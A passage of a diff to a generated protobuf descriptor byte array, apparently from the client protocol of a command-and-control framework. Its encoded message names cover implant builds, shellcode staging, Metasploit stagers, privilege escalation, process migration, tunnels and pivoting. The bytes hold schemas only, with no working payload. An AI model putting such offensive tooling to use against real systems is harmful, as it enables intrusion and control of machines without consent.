0x74, - 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, - 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0xe0, 0x01, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, - 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, - 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, - 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, - 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, - 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, - 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, - 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, - 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, - 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, - 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, - 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x8f, 0x02, 0x0a, 0x0c, 0x4d, 0x73, 0x66, 0x53, - 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, - 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, - 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, 0x08, - 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, - 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, - 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, 0x20, - 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, 0x0a, - 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, - 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73, 0x66, - 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, + 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x22, 0x7a, 0x0a, 0x0e, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x57, + 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x12, + 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x16, 0x0a, + 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, + 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, 0xb1, 0x01, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, + 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x45, 0x0a, 0x08, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x54, 0x72, + 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, + 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x1a, 0x0a, 0x08, + 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, + 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x61, + 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x53, 0x61, 0x6d, 0x70, + 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x13, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x32, + 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x52, 0x05, 0x54, 0x65, 0x73, + 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, + 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x6f, 0x74, 0x61, + 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x54, 0x6f, + 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x22, 0xa6, 0x01, 0x0a, 0x15, 0x45, 0x78, 0x74, + 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x12, 0x2c, 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x52, 0x05, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x12, 0x2e, 0x0a, 0x06, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, + 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x48, 0x54, 0x54, 0x50, 0x43, + 0x32, 0x22, 0x77, 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x26, + 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, + 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xa8, 0x01, 0x0a, 0x0c, 0x47, - 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x48, - 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, - 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xc6, 0x01, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xbe, 0x03, 0x0a, 0x0d, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3e, 0x0a, 0x07, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x4a, 0x0a, 0x0b, + 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x52, 0x65, 0x73, 0x6f, 0x75, + 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x52, 0x65, 0x73, + 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x12, 0x3b, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x67, + 0x65, 0x64, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x73, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x06, 0x73, + 0x74, 0x61, 0x67, 0x65, 0x64, 0x1a, 0x53, 0x0a, 0x0c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, - 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, - 0x0a, 0x0f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, - 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, - 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, - 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, - 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, - 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, - 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, - 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, - 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, - 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, - 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, - 0x64, 0x72, 0x65, 0x6e, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 